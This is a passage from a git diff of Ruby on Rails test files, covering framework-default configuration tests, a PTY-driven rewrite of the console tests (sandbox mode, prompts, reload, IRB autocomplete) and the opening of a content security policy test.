+      assert_equal [], ActionController::Base._wrapper_options.format
+    end
+
+    test "ActionController::Base.raise_on_missing_callback_actions is false by default for production" do
+      app "production"
+
+      assert_equal false, ActionController::Base.raise_on_missing_callback_actions
+    end
+
+    test "ActionController::Base.raise_on_missing_callback_actions is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal false, ActionController::Base.raise_on_missing_callback_actions
+    end
+
+    test "ActionController::Base.raise_on_missing_callback_actions can be configured in the new framework defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_6_2.rb", <<-RUBY
+        Rails.application.config.action_controller.raise_on_missing_callback_actions = true
+      RUBY
+
+      app "production"
+
+      assert_equal true, ActionController::Base.raise_on_missing_callback_actions
+    end
+
+    test "isolation_level is :thread by default" do
+      app "development"
+      assert_equal :thread, ActiveSupport::IsolatedExecutionState.isolation_level
+    end
+
+    test "isolation_level can be set in app config" do
+      add_to_config "config.active_support.isolation_level = :fiber"
+
+      app "development"
+      assert_equal :fiber, ActiveSupport::IsolatedExecutionState.isolation_level
+    end
+
+    test "isolation_level can be set in initializer" do
+      app_file "config/initializers/new_framework_defaults_7_0.rb", <<-RUBY
+        Rails.application.config.active_support.isolation_level = :fiber
+      RUBY
+
+      app "development"
+      assert_equal :fiber, ActiveSupport::IsolatedExecutionState.isolation_level
+    end
+
+    test "ActiveSupport::Cache.format_version is 7.1 by default for new apps" do
+      app "development"
+
+      assert_equal 7.1, ActiveSupport::Cache.format_version
+    end
+
+    test "ActiveSupport::Cache.format_version is 7.0 by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal 7.0, ActiveSupport::Cache.format_version
+    end
+
+    test "ActiveSupport::Cache.format_version can be configured via config.active_support.cache_format_version" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      add_to_config "config.active_support.cache_format_version = 7.0"
+
+      app "development"
+
+      assert_equal 7.0, ActiveSupport::Cache.format_version
+    end
+
+    test "config.active_support.cache_format_version affects Rails.cache when set in an environment file (or earlier)" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/environments/development.rb", <<~RUBY
+        Rails.application.config.active_support.cache_format_version = 7.0
+      RUBY
+
+      app "development"
+
+      assert_not_nil Rails.cache.instance_variable_get(:@coder)
+      assert_equal \
+        Marshal.dump(ActiveSupport::Cache::NullStore.new.instance_variable_get(:@coder)),
+        Marshal.dump(Rails.cache.instance_variable_get(:@coder))
+    end
+
+    test "raise_on_invalid_cache_expiration_time is false with 7.0 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app "development"
+
+      assert_equal false, ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time
+    end
+
+    test "raise_on_invalid_cache_expiration_time is true with 7.1 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.1"'
+      app "development"
+
+      assert_equal true, ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time
+    end
+
+    test "raise_on_invalid_cache_expiration_time can be set via new framework defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app_file "config/initializers/new_framework_defaults_7_1.rb", <<-RUBY
+        Rails.application.config.active_support.raise_on_invalid_cache_expiration_time = true
+      RUBY
+      app "development"
+
+      assert_equal true, ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time
+    end
+
+    test "adds a time zone aware type if using PostgreSQL" do
+      original_configurations = ActiveRecord::Base.configurations
+      ActiveRecord::Base.configurations = { production: { db1: { adapter: "postgresql" } } }
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "production"
+
+      assert_equal [:datetime, :time, :timestamptz], ActiveRecord::Base.time_zone_aware_types
+    ensure
+      ActiveRecord::Base.configurations = original_configurations
+    end
+
+    test "doesn't add a time zone aware type if using MySQL" do
+      original_configurations = ActiveRecord::Base.configurations
+      ActiveRecord::Base.configurations = { production: { db1: { adapter: "mysql2" } } }
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "mysql2")
+      RUBY
+
+      app "production"
+
+      assert_equal [:datetime, :time], ActiveRecord::Base.time_zone_aware_types
+    ensure
+      ActiveRecord::Base.configurations = original_configurations
+    end
+
+    test "can opt out of extra time zone aware types if using PostgreSQL" do
+      original_configurations = ActiveRecord::Base.configurations
+      ActiveRecord::Base.configurations = { production: { db1: { adapter: "postgresql" } } }
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+      app_file "config/initializers/tz_aware_types.rb", <<~RUBY
+        ActiveRecord::Base.time_zone_aware_types -= [:timestamptz]
+      RUBY
+
+      app "production"
+
+      assert_equal [:datetime, :time], ActiveRecord::Base.time_zone_aware_types
+    ensure
+      ActiveRecord::Base.configurations = original_configurations
+    end
+
+    test "raise_on_missing_translations = true" do
+      add_to_config "config.i18n.raise_on_missing_translations = true"
+      app "development"
+
+      assert_equal true, Rails.application.config.i18n.raise_on_missing_translations
+
+      assert_raise(I18n::MissingTranslationData) do
+        I18n.t("translations.missing")
+      end
+    end
+
+    test "raise_on_missing_translations = false" do
+      add_to_config "config.i18n.raise_on_missing_translations = false"
+      app "development"
+
+      assert_equal false, Rails.application.config.i18n.raise_on_missing_translations
+
+      assert_nothing_raised do
+        I18n.t("translations.missing")
+      end
+    end
+
+    test "raise_on_missing_translations = true and custom exception handler in initializer" do
+      add_to_config "config.i18n.raise_on_missing_translations = true"
+      app_file "config/initializers/i18n.rb", <<~RUBY
+        I18n.exception_handler = ->(exception, *) {
+          if exception.is_a?(I18n::MissingTranslation)
+            "handled I18n::MissingTranslation"
+          else
+            raise exception
+          end
+          }
+      RUBY
+      app "development"
+
+      assert_equal true, Rails.application.config.i18n.raise_on_missing_translations
+
+      assert_equal "handled I18n::MissingTranslation", I18n.t("translations.missing")
+      assert_raise(I18n::InvalidLocale) do
+        I18n.t("en.errors.messages.required", locale: "dsafdsafdsa")
+      end
+    end
+
+    test "raise_on_missing_translations = false and custom exception handler in initializer" do
+      add_to_config "config.i18n.raise_on_missing_translations = false"
+      app_file "config/initializers/i18n.rb", <<~RUBY
+        I18n.exception_handler = ->(exception, *) {
+          if exception.is_a?(I18n::MissingTranslation)
+            "handled I18n::MissingTranslation"
+          else
+            raise exception
+          end
+          }
+      RUBY
+      app "development"
+
+      assert_equal false, Rails.application.config.i18n.raise_on_missing_translations
+
+      assert_equal "handled I18n::MissingTranslation", I18n.t("translations.missing")
+      assert_raise(I18n::InvalidLocale) do
+        I18n.t("en.errors.messages.required", locale: "dsafdsafdsa")
+      end
+    end
+
+    test "i18n custom exception handler in initializer and pluralization backend" do
+      app_file "config/initializers/i18n.rb", <<~RUBY
+        I18n.exception_handler = ->(exception, *) {
+          if exception.is_a?(I18n::MissingTranslation)
+            "handled I18n::MissingTranslation"
+          else
+            raise exception
+          end
+          }
+
+        Rails.application.config.after_initialize do
+          I18n.backend.class.include(I18n::Backend::Pluralization)
+          I18n.backend.send(:init_translations)
+          I18n.backend.store_translations :en, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } }
+          I18n.backend.store_translations :en, apples: { one: 'one or none', other: 'more than one' }
+          I18n.backend.store_translations :en, pears: { pear: "pear", pears: "pears" }
+        end
+      RUBY
+
+      app "development"
+
+      assert I18n.backend.class.include?(I18n::Backend::Pluralization)
+      assert_equal "one or none", I18n.t(:apples, count: 0)
+      assert_raises I18n::InvalidPluralizationData do
+        assert_equal "pears", I18n.t(:pears, count: 0)
+      end
+    end
+
+    test "run_after_transaction_callbacks_in_order_defined is true in new apps" do
+      app "development"
+
+      assert_equal true, ActiveRecord.run_after_transaction_callbacks_in_order_defined
+    end
+
+    test "run_after_transaction_callbacks_in_order_defined is false in upgrading apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app "development"
+
+      assert_equal false, ActiveRecord.run_after_transaction_callbacks_in_order_defined
+    end
+
+    test "run_after_transaction_callbacks_in_order_defined can be set via framework defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app_file "config/initializers/new_framework_defaults_7_1.rb", <<-RUBY
+        Rails.application.config.active_record.run_after_transaction_callbacks_in_order_defined = true
+      RUBY
+      app "development"
+
+      assert_equal true, ActiveRecord.run_after_transaction_callbacks_in_order_defined
+    end
+
+    test "run_after_transaction_callbacks_in_order_defined can be set via framework defaults even if Active Record was previously loaded" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app_file "config/initializers/01_configure_database.rb", <<-RUBY
+        ActiveRecord::Base.connected?
+      RUBY
+      app_file "config/initializers/new_framework_defaults_7_1.rb", <<-RUBY
+        Rails.application.config.active_record.run_after_transaction_callbacks_in_order_defined = true
+      RUBY
+      app "development"
+
+      assert_equal true, ActiveRecord.run_after_transaction_callbacks_in_order_defined
+    end
+
+    test "raises if configuration tries to assign to an actual method" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults = "7.0"'
+
+      error = assert_raises(NoMethodError) do
+        app "development"
+      end
+
+      assert_match(/Cannot assign to `load_defaults`, it is a configuration method/, error.message)
+    end
+
+    test "allows initializer to set active_record_encryption.configuration" do
+      app_file "config/initializers/active_record_encryption.rb", <<-RUBY
+        Rails.application.config.active_record.encryption.hash_digest_class = OpenSSL::Digest::SHA1
+      RUBY
+
+      app "development"
+
+      assert_equal OpenSSL::Digest::SHA1, ActiveRecord::Encryption.config.hash_digest_class
+    end
+
+    test "sanitizer_vendor is set to best supported vendor in new apps" do
+      app "development"
+
+      assert_equal Rails::HTML::Sanitizer.best_supported_vendor, ActionView::Helpers::SanitizeHelper.sanitizer_vendor
+    end
+
+    test "sanitizer_vendor is set to HTML4 in upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app "development"
+
+      assert_equal Rails::HTML4::Sanitizer, ActionView::Helpers::SanitizeHelper.sanitizer_vendor
+    end
+
+    test "sanitizer_vendor is set to a specific vendor" do
+      add_to_config "config.action_view.sanitizer_vendor = ::MySanitizerVendor"
+      app "development"
+
+      assert_equal ::MySanitizerVendor, ActionView::Helpers::SanitizeHelper.sanitizer_vendor
+    end
+
+    test "Action Text uses the best supported safe list sanitizer in new apps" do
+      app "development"
+
+      require "action_view/base"
+
+      assert_kind_of(
+        Rails::HTML::Sanitizer.best_supported_vendor.safe_list_sanitizer,
+        ActionText::ContentHelper.sanitizer,
+      )
+    end
+
+    test "Action Text uses the HTML4 safe list sanitizer in upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app "development"
+
+      assert_kind_of(
+        Rails::HTML4::Sanitizer.safe_list_sanitizer,
+        ActionText::ContentHelper.sanitizer,
+      )
+    end
+
+    test "Action Text uses the specified vendor's safe list sanitizer" do
+      add_to_config "config.action_text.sanitizer_vendor = ::MySanitizerVendor"
+
+      app "development"
+
+      require "action_view/base"
+
+      assert_kind_of(
+        ::MySafeListSanitizer,
+        ActionText::ContentHelper.sanitizer,
+      )
+    end
+
+    test "raise_on_missing_translations affects t in controllers and views" do
+      add_to_config "config.i18n.raise_on_missing_translations = true"
+
+      app_file "app/views/foo/view_test.html.erb", <<-RUBY
+        <%=
+          begin
+            t("missing.translation")
+          rescue I18n::MissingTranslationData
+            "rescued missing translation error from view"
+          end
+        %>
+      RUBY
+
+      app_file "app/controllers/foo_controller.rb", <<-RUBY
+      class FooController < ApplicationController
+        layout false
+        def controller_test
+          response = begin
+            t("missing.translation")
+          rescue I18n::MissingTranslationData
+            "rescued missing translation error from controller"
+          end
+          render plain: response
+        end
+        def view_test
+          render "view_test"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          get "foo/controller" => "foo#controller_test"
+          get "foo/view" => "foo#view_test"
+        end
+      RUBY
+
+      app "development"
+
+      get "foo/controller"
+      assert_equal "rescued missing translation error from controller", last_response.body
+
+      get "foo/view"
+      assert_includes last_response.body, "rescued missing translation error from view"
+    end
+
+    test "raise_on_missing_translations = :strict affects human_attribute_name in model" do
+      add_to_config "config.i18n.raise_on_missing_translations = :strict"
+
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      app "development"
+
+      assert_raises I18n::MissingTranslationData do
+        Post.human_attribute_name("title")
+      end
+    end
+
+    test "raise_on_missing_translations = true does not affect human_attribute_name in model" do
+      add_to_config "config.i18n.raise_on_missing_translations = true"
+
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      app "development"
+
+      assert_nothing_raised do
+        Post.human_attribute_name("title")
+      end
+    end
+
+    test "dom testing uses the HTML5 parser in new apps if it is supported" do
+      app "development"
+      expected = defined?(Nokogiri::HTML5) ? :html5 : :html4
+
+      assert_equal(expected, Rails.application.config.dom_testing_default_html_version)
+    end
+
+    test "dom testing uses the HTML4 parser in upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app "development"
+
+      assert_equal(:html4, Rails.application.config.dom_testing_default_html_version)
+    end
+
+    test "app attributes_for_inspect configuration takes precedence over default" do
+      add_to_config "config.active_record.attributes_for_inspect = [:foo]"
+
+      app "development"
+
+      assert_equal [:foo], ActiveRecord::Base.attributes_for_inspect
+    end
+
+    test "model's attributes_for_inspect configuration takes precedence over default" do
+      app_file "app/models/foo.rb", <<-RUBY
+        class Foo < ApplicationRecord
+          self.attributes_for_inspect = [:foo]
+        end
+      RUBY
+
+      app "development"
+
+      assert_equal [:foo], Foo.attributes_for_inspect
+    end
+
+    test "new Active Record connection adapters can be registered as aliases in application initializers" do
+      app_file "config/database.yml", <<-YAML
+        development:
+          adapter: potato
+          database: 'example_db'
+      YAML
+
+      app_file "config/initializers/active_record_connection_adapters.rb", <<-RUBY
+        ActiveRecord::ConnectionAdapters.register(
+          "potato",
+          "ActiveRecord::ConnectionAdapters::SQLite3Adapter",
+          "active_record/connection_adapters/sqlite3_adapter"
+        )
+      RUBY
+
+      app "development"
+
+      assert_equal "potato", ActiveRecord::Base.lease_connection.pool.db_config.adapter
+      assert_equal "SQLite", ActiveRecord::Base.lease_connection.adapter_name
+    end
+
+    test "In development mode, config.active_record.query_log_tags_enabled is true by default" do
+      restore_default_config
+
+      app "development"
+
+      assert Rails.application.config.active_record.query_log_tags_enabled
+    end
+
+    ["development", "production"].each do |env|
+      test "active job adapter is async in #{env}" do
+        app(env)
+        assert_equal :async, Rails.application.config.active_job.queue_adapter
+        adapter = ActiveJob::Base.queue_adapter
+        assert_instance_of ActiveJob::QueueAdapters::AsyncAdapter, adapter
+      end
+
+      test "active job adapter can be overridden in #{env} via application.rb" do
+        add_to_config "config.active_job.queue_adapter = :inline"
+        app(env)
+        assert_equal :inline, Rails.application.config.active_job.queue_adapter
+        adapter = ActiveJob::Base.queue_adapter
+        assert_instance_of ActiveJob::QueueAdapters::InlineAdapter, adapter
+      end
+
+      test "active job adapter can be overridden in #{env} via environment config" do
+        app_file "config/environments/#{env}.rb", <<-RUBY
+          Rails.application.configure do
+            config.active_job.queue_adapter = :inline
+          end
+        RUBY
+        app(env)
+        assert_equal :inline, Rails.application.config.active_job.queue_adapter
+        adapter = ActiveJob::Base.queue_adapter
+        assert_instance_of ActiveJob::QueueAdapters::InlineAdapter, adapter
+      end
+    end
+
+    test "active job adapter is `:test` in test environment" do
+      app "test"
+      assert_equal :test, Rails.application.config.active_job.queue_adapter
+      adapter = ActiveJob::Base.queue_adapter
+      assert_instance_of ActiveJob::QueueAdapters::TestAdapter, adapter
+    end
+
+    test "Regexp.timeout is set to 1s by default" do
+      app "development"
+      assert_equal 1, Regexp.timeout
+    end
+
+    test "Regexp.timeout can be configured" do
+      add_to_config "Regexp.timeout = 5"
+      app "development"
+      assert_equal 5, Regexp.timeout
+    end
+
+    test "action_controller.logger defaults to Rails.logger" do
+      restore_default_config
+      add_to_config "config.logger = Logger.new(STDOUT, level: Logger::INFO)"
+      app "development"
+
+      output = capture(:stdout) do
+        get "/"
+      end
+
+      assert_equal Rails.logger, Rails.application.config.action_controller.logger
+      assert output.include?("Processing by Rails::WelcomeController#index as HTML")
+    end
+
+    test "action_controller.logger can be disabled by assigning nil" do
+      add_to_config <<-RUBY
+        config.logger = Logger.new(STDOUT, level: Logger::INFO)
+        config.action_controller.logger = nil
+      RUBY
+      app "development"
+
+      output = capture(:stdout) do
+        get "/"
+      end
+
+      assert_nil Rails.application.config.action_controller.logger
+      assert_not output.include?("Processing by Rails::WelcomeController#index as HTML")
+    end
+
+    test "action_controller.logger can be disabled by assigning false" do
+      add_to_config <<-RUBY
+        config.logger = Logger.new(STDOUT, level: Logger::INFO)
+        config.action_controller.logger = false
+      RUBY
+
+      app "development"
+      output = capture(:stdout) do
+        get "/"
+      end
+
+
+      assert_equal false, Rails.application.config.action_controller.logger
+      assert_not output.include?("Processing by Rails::WelcomeController#index as HTML")
+    end
+
+    test "config.action_controller.live_streaming_excluded_keys configures ActionController::Live" do
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ActionController::Base
+        include ActionController::Live
+
+        def index
+          render plain: self.class.live_streaming_excluded_keys.inspect
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+        config.action_controller.live_streaming_excluded_keys = [:active_record_connected_to_stack, :custom_key]
+      RUBY
+
+      app "development"
+
+      get "/posts"
+      assert_equal "[:active_record_connected_to_stack, :custom_key]", last_response.body
+    end
+
+    private
+      def set_custom_config(contents, config_source = "custom".inspect)
+        app_file "config/custom.yml", contents
+
+        add_to_config <<~RUBY
+          config.my_custom_config = config_for(#{config_source})
+        RUBY
+      end
   end
 end
diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb
index 72f340df3406b..dfbae6986bba9 100644
--- a/railties/test/application/console_test.rb
+++ b/railties/test/application/console_test.rb
@@ -1,163 +1,307 @@
+# frozen_string_literal: true
+
+require "tempfile"
+
 require "isolation/abstract_unit"
+require "console_helpers"
 
-class ConsoleTest < ActiveSupport::TestCase
-  include ActiveSupport::Testing::Isolation
+class FullStackConsoleTest < ActiveSupport::TestCase
+  include ConsoleHelpers
 
   def setup
+    skip "PTY unavailable" unless available_pty?
+
     build_app
+    app_file "app/models/post.rb", <<-CODE
+      class Post < ActiveRecord::Base
+      end
+    CODE
+    system "#{app_path}/bin/rails runner 'Post.lease_connection.create_table :posts'"
+
+    @primary, @replica = PTY.open
   end
 
   def teardown
     teardown_app
   end
 
-  def load_environment(sandbox = false)
-    require "#{rails_root}/config/environment"
-    Rails.application.sandbox = sandbox
-    Rails.application.load_console
+  def write_prompt(command, expected_output = nil, prompt: "> ")
+    @primary.puts command
+    assert_output command, @primary
+    assert_output expected_output, @primary, 100 if expected_output
+    assert_output prompt, @primary
+  end
+
+  def spawn_console(options = nil, wait_for_prompt: true, env: {})
+    # Test should not depend on user's irbrc file
+    home_tmp_dir = Dir.mktmpdir
+
+    pid = Process.spawn(
+      { "TERM" => "dumb", "HOME" => home_tmp_dir }.merge(env),
+      "#{app_path}/bin/rails console #{options}",
+      in: @replica, out: @replica, err: @replica
+    )
+
+    if wait_for_prompt
+      assert_output "> ", @primary, 30
+    end
+
+    pid
+  ensure
+    FileUtils.remove_entry(home_tmp_dir)
+  end
+
+  def test_sandbox
+    options = "--sandbox"
+    spawn_console(options)
+
+    write_prompt "Post.count", "=> 0"
+    write_prompt "Post.create"
+    write_prompt "Post.count", "=> 1"
+    @primary.puts "quit"
+
+    spawn_console(options)
+
+    write_prompt "Post.count", "=> 0"
+    write_prompt "Post.transaction { Post.create; raise }"
+    write_prompt "Post.count", "=> 0"
+    @primary.puts "quit"
+  end
+
+  def test_sandbox_when_sandbox_is_disabled
+    add_to_config <<-RUBY
+      config.disable_sandbox = true
+    RUBY
+
+    output = `#{app_path}/bin/rails console --sandbox`
+
+    assert_includes output, "sandbox mode is disabled"
+    assert_equal 1, $?.exitstatus
+  end
+
+  def test_sandbox_by_default
+    add_to_config <<-RUBY
+      config.sandbox_by_default = true
+    RUBY
+
+    options = "-e production -- --verbose"
+    spawn_console(options)
+
+    write_prompt "puts Rails.application.sandbox", "puts Rails.application.sandbox\r\ntrue"
+    @primary.puts "quit"
+  end
+
+  def test_sandbox_by_default_with_no_sandbox
+    add_to_config <<-RUBY
+      config.sandbox_by_default = true
+    RUBY
+
+    options = "-e production --no-sandbox -- --verbose"
+    spawn_console(options)
+
+    write_prompt "puts Rails.application.sandbox", "puts Rails.application.sandbox\r\nfalse"
+    @primary.puts "quit"
+  end
+
+  def test_sandbox_by_default_with_development_environment
+    add_to_config <<-RUBY
+      config.sandbox_by_default = true
+    RUBY
+
+    options = "-- --verbose"
+    spawn_console(options)
+
+    write_prompt "puts Rails.application.sandbox", "puts Rails.application.sandbox\r\nfalse"
+    @primary.puts "quit"
+  end
+
+  def test_prompt_is_properly_set
+    options = "-e test -- --verbose"
+    spawn_console(options)
+
+    write_prompt "a = 1", "a = 1", prompt: "app-template(test):"
+  end
+
+  def test_prompt_allows_changing_irb_name
+    options = "-e test -- --verbose"
+    spawn_console(options)
+
+    write_prompt "conf.irb_name = 'foo'"
+    write_prompt "a = 1", "a = 1", prompt: "foo(test):"
+    @primary.puts "quit"
+  end
+
+  def test_environment_option_and_irb_option
+    options = "-e test -- --verbose"
+    spawn_console(options)
+
+    write_prompt "a = 1", "a = 1"
+    write_prompt "puts Rails.env", "puts Rails.env\r\ntest"
+    @primary.puts "quit"
+  end
+
+  def test_production_console_prompt
+    options = "-e production"
+    spawn_console(options)
+
+    write_prompt "123", prompt: "app-template(prod):"
+  end
+
+  def test_development_console_prompt
+    options = "-e development"
+    spawn_console(options)
+
+    write_prompt "123", prompt: "app-template(dev):"
+  end
+
+  def test_test_console_prompt
+    options = "-e test"
+    spawn_console(options)
+
+    write_prompt "123", prompt: "app-template(test):"
+  end
+
+  def test_helper_helper_method
+    spawn_console("-e development")
+
+    write_prompt "helper.truncate('Once upon a time in a world far far away')", "Once upon a time in a world..."
+  end
+
+  def test_controller_helper_method
+    spawn_console("-e development")
+
+    write_prompt "controller.class.name", "ApplicationController"
+  end
+
+  def test_new_session_helper_method
+    spawn_console("-e development")
+
+    write_prompt "new_session.class.name", "ActionDispatch::Integration::Session"
   end
 
-  def irb_context
-    Object.new.extend(Rails::ConsoleMethods)
+  def test_console_with_conditional_executor_enabled_by_default
+    spawn_console
+
+    write_prompt "Rails.application.executor.active?", "true"
   end
 
-  def test_app_method_should_return_integration_session
-    TestHelpers::Rack.send :remove_method, :app
-    load_environment
-    console_session = irb_context.app
-    assert_instance_of ActionDispatch::Integration::Session, console_session
+  def test_console_with_conditional_executor_can_be_disabled
+    spawn_console "--skip-executor"
+
+    write_prompt "Rails.application.executor.active?", "false"
   end
 
-  def test_app_can_access_path_helper_method
+  def test_app_helper_method
     app_file "config/routes.rb", <<-RUBY
       Rails.application.routes.draw do
         get 'foo', to: 'foo#index'
       end
     RUBY
 
-    load_environment
-    console_session = irb_context.app
-    assert_equal "/foo", console_session.foo_path
-  end
+    spawn_console("-e development")
 
-  def test_new_session_should_return_integration_session
-    load_environment
-    session = irb_context.new_session
-    assert_instance_of ActionDispatch::Integration::Session, session
+    write_prompt "app.foo_path", "/foo"
   end
 
-  def test_reload_should_fire_preparation_and_cleanup_callbacks
-    load_environment
-    a = b = c = nil
+  def test_app_routes_are_loaded
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get 'foo', to: 'foo#index'
+      end
+    RUBY
 
-    # TODO: These should be defined on the initializer
-    ActiveSupport::Reloader.to_complete { a = b = c = 1 }
-    ActiveSupport::Reloader.to_complete { b = c = 2 }
-    ActiveSupport::Reloader.to_prepare { c = 3 }
+    spawn_console("-e development")
 
-    irb_context.reload!(false)
+    write_prompt "app.methods.grep(/foo_path/)", "[:foo_path]"
+  end
 
-    assert_equal 1, a
-    assert_equal 2, b
-    assert_equal 3, c
+  def test_reload_command_fires_preparation_and_cleanup_callbacks
+    options = "-e development"
+    spawn_console(options)
+
+    write_prompt "a = b = c = nil"
+    write_prompt "ActiveSupport::Reloader.to_complete { a = b = c = 1 }"
+    write_prompt "ActiveSupport::Reloader.to_complete { b = c = 2 }"
+    write_prompt "ActiveSupport::Reloader.to_prepare { c = 3 }"
+    write_prompt "reload!", "Reloading...\r\n"
+    write_prompt "a", "=> 1"
+    write_prompt "b", "=> 2"
+    write_prompt "c", "=> 3"
   end
 
-  def test_reload_should_reload_constants
+  def test_reload_command_reload_constants
     app_file "app/models/user.rb", <<-MODEL
       class User
         attr_accessor :name
       end
     MODEL
 
-    load_environment
-    assert User.new.respond_to?(:name)
+    options = "-e development"
+    # Now the User model has only one attribute called `name`
+    spawn_console(options)
+
+
+    write_prompt "User.new.respond_to?(:age)", "=> false"
 
+    # This will be loaded after the reload! command is executed
     app_file "app/models/user.rb", <<-MODEL
       class User
         attr_accessor :name, :age
       end
     MODEL
 
-    assert !User.new.respond_to?(:age)
-    irb_context.reload!(false)
-    assert User.new.respond_to?(:age)
+    write_prompt "reload!", "Reloading...\r\n"
+    write_prompt "User.new.respond_to?(:age)", "=> true"
   end
 
-  def test_access_to_helpers
-    load_environment
-    helper = irb_context.helper
-    assert_not_nil helper
-    assert_instance_of ActionView::Base, helper
-    assert_equal "Once upon a time in a world...",
-      helper.truncate("Once upon a time in a world far far away")
-  end
-end
-
-begin
-  require "pty"
-rescue LoadError
-end
-
-class FullStackConsoleTest < ActiveSupport::TestCase
-  def setup
-    skip "PTY unavailable" unless defined?(PTY) && PTY.respond_to?(:open)
-
-    build_app
-    app_file "app/models/post.rb", <<-CODE
-      class Post < ActiveRecord::Base
-      end
-    CODE
-    system "#{app_path}/bin/rails runner 'Post.connection.create_table :posts'"
+  def test_console_respects_user_defined_irb_name
+    irbrc = Tempfile.new("irbrc")
+    irbrc.write <<-RUBY
+      IRB.conf[:IRB_NAME] = "jarretts-irb"
+    RUBY
+    irbrc.close
 
-    @master, @slave = PTY.open
-  end
+    options = "-e test"
+    spawn_console(options, env: { "IRBRC" => irbrc.path })
 
-  def teardown
-    teardown_app
+    write_prompt "123", prompt: "jarretts-irb(test):002> "
+  ensure
+    File.unlink(irbrc)
   end
 
-  def assert_output(expected, timeout = 1)
-    timeout = Time.now + timeout
-
-    output = ""
-    until output.include?(expected) || Time.now > timeout
-      if IO.select([@master], [], [], 0.1)
-        output << @master.read(1)
-      end
-    end
+  def test_console_respects_user_defined_prompt_mode
+    irbrc = Tempfile.new("irbrc")
+    irbrc.write <<-RUBY
+      IRB.conf[:PROMPT_MODE] = :SIMPLE
+    RUBY
+    irbrc.close
 
-    assert_includes output, expected, "#{expected.inspect} expected, but got:\n\n#{output}"
-  end
+    options = "-e test"
+    spawn_console(options, env: { "IRBRC" => irbrc.path })
 
-  def write_prompt(command, expected_output = nil)
-    @master.puts command
-    assert_output command
-    assert_output expected_output if expected_output
-    assert_output "> "
+    write_prompt "123", prompt: ">> "
+  ensure
+    File.unlink(irbrc)
   end
 
-  def spawn_console
-    Process.spawn(
-      "#{app_path}/bin/rails console --sandbox",
-      in: @slave, out: @slave, err: @slave
-    )
+  def test_console_disables_IRB_auto_completion_in_non_local
+    options = "-e production -- --verbose"
+    spawn_console(options)
 
-    assert_output "> ", 30
+    write_prompt "IRB.conf[:USE_AUTOCOMPLETE]", "IRB.conf[:USE_AUTOCOMPLETE]\r\n=> false"
   end
 
-  def test_sandbox
-    spawn_console
+  def test_console_accepts_override_on_IRB_auto_completion_flag
+    options = "-e production -- --verbose"
+    spawn_console(options, env: { "IRB_USE_AUTOCOMPLETE" => "true" })
 
-    write_prompt "Post.count", "=> 0"
-    write_prompt "Post.create"
-    write_prompt "Post.count", "=> 1"
-    @master.puts "quit"
+    write_prompt "IRB.conf[:USE_AUTOCOMPLETE]", "IRB.conf[:USE_AUTOCOMPLETE]\r\n=> true"
+  end
 
-    spawn_console
+  def test_console_doesnt_disable_IRB_auto_completion_in_local
+    options = "-e development -- --verbose"
+    spawn_console(options)
 
-    write_prompt "Post.count", "=> 0"
-    write_prompt "Post.transaction { Post.create; raise }"
-    write_prompt "Post.count", "=> 0"
-    @master.puts "quit"
+    write_prompt "IRB.conf[:USE_AUTOCOMPLETE]", "IRB.conf[:USE_AUTOCOMPLETE]\r\n=> true"
   end
 end
diff --git a/railties/test/application/content_security_policy_test.rb b/railties/test/application/content_security_policy_test.rb
new file mode 100644
index 0000000000000..0bb6ee917a76e
--- /dev/null
+++ b/railties/test/application/content_security_policy_test.rb
@@ -0,0 +1,254 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class ContentSecurityPolicyTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "default content security policy is nil" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
